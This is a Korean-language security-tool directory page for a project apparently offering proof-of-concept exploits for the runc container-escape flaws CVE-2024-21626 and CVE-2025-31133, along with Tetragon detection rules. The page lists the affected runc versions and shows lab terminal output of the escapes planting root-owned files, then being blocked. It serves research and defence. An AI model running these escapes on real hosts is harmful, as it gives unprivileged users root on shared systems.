Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
container-escape-ebpf — CVE-2024-21626 및 CVE-2025-31133에 대한 POC 및 Tetragon 규칙 | Kitploit
도구/GitHubGitHub/scherepiuk/container-escape-ebpf
Container SecurityVulnerability AnalysisExploitationPapers & ResearchLearning & EducationContainer Escape
GitHubscherepiuk/container-escape-ebpf

container-escape-ebpf

CVE-2024-21626 및 CVE-2025-31133에 대한 POC 및 Tetragon 규칙

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

백서

https://www.scs-europe.net/dlib/2026/2026-0321.html

가정

  • 호스트가 취약한 버전의 runc를 실행하고 있음:
    • CVE-2025-31133 의 경우: 1.2.7 이하, 1.3.0-rc.1부터 1.3.2, 1.4.0-rc.1 및 1.4.0-rc.2.
    • CVE-2024-21626 의 경우: 1.0.0-rc93부터 1.1.11까지.
  • 권한이 없는 사용자가 OCI 설정 파일과 일반 rootfs로 runc (또는 containerd의 ctr)를 사용하여 컨테이너를 생성할 수 있습니다.

사용법

root@kitploit:~
you@local:container-escape-ebpf$ make deploy # Setup `aws` CLI with `aws configure` and `terraform/terraform.tfvars` prior to deploying.
you@local:container-escape-ebpf$ make ssh # Wait around a minute for the virtual machine to intialize before SSHing.

ubuntu@vm:~$ python3 /pocs/cve-2024-21626.py
Launched container: 4bvviH3spAXYLNJpoQ7YHlg366eG1mhB
ubuntu@vm:~$ ls -la /pwned_by_cve_2024_21626
-rw-r--r-- 1 root root 0 Jan 13 13:49 /pwned_by_cve_2024_21626

ubuntu@vm:~$ python3 /pocs/cve-2025-31133.py
Launched container: aeE5aI7Q7aYasXTAy64QKdAIlKMSe19p
sh: 1: cannot create /proc/sys/kernel/core_pattern: Read-only file system
Exploit did not succeed. Retrying...
Launched container: vg4fRLcB87DWxGRGb1lb8mXaIum7mEfQ
sh: 1: cannot create /proc/sys/kernel/core_pattern: Read-only file system
Exploit did not succeed. Retrying...
Launched container: NsaQgj5PYt1qlBmkWtvWJ6R5ZondCjHH
Exploit succeeded!
ubuntu@vm:~$ ls -la /pwned_by_cve_2025_31133
-rw-r--r-- 1 root root 0 Jan 13 13:52 /pwned_by_cve_2025_31133

ubuntu@vm:~$ /utils/reset.sh
ubuntu@vm:~$ sudo systemctl start tetragon

ubuntu@vm:~$ python3 /pocs/cve-2024-21626.py
runc run failed: unable to start container process: chdir to cwd ("/proc/self/fd/7") set in config.json failed: permission denied
Launched container: Y7VcaVHuPbYoeqERcfFjjQLJxMEo1VPV

ubuntu@vm:~$ python3 /pocs/cve-2025-31133.py
Launched container: uJdkfzL0feIm6ipPv0PazSUPW6VJ765h
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
Exploit did not succeed. Retrying...
Launched container: qGKTlsyZ0Hh47DxF1rUIjkBxffLfYUxx
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
Exploit did not succeed. Retrying...
Launched container: jMrn2W3NLAap6UPA2UB6LQHLLu9yevcO
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied

bash-5.1# exit
exit
ubuntu@vm:~$ exit
exit
you@local:container-escape-ebpf$ make teardown # Don't forget to teardown resources!
도구 다운로드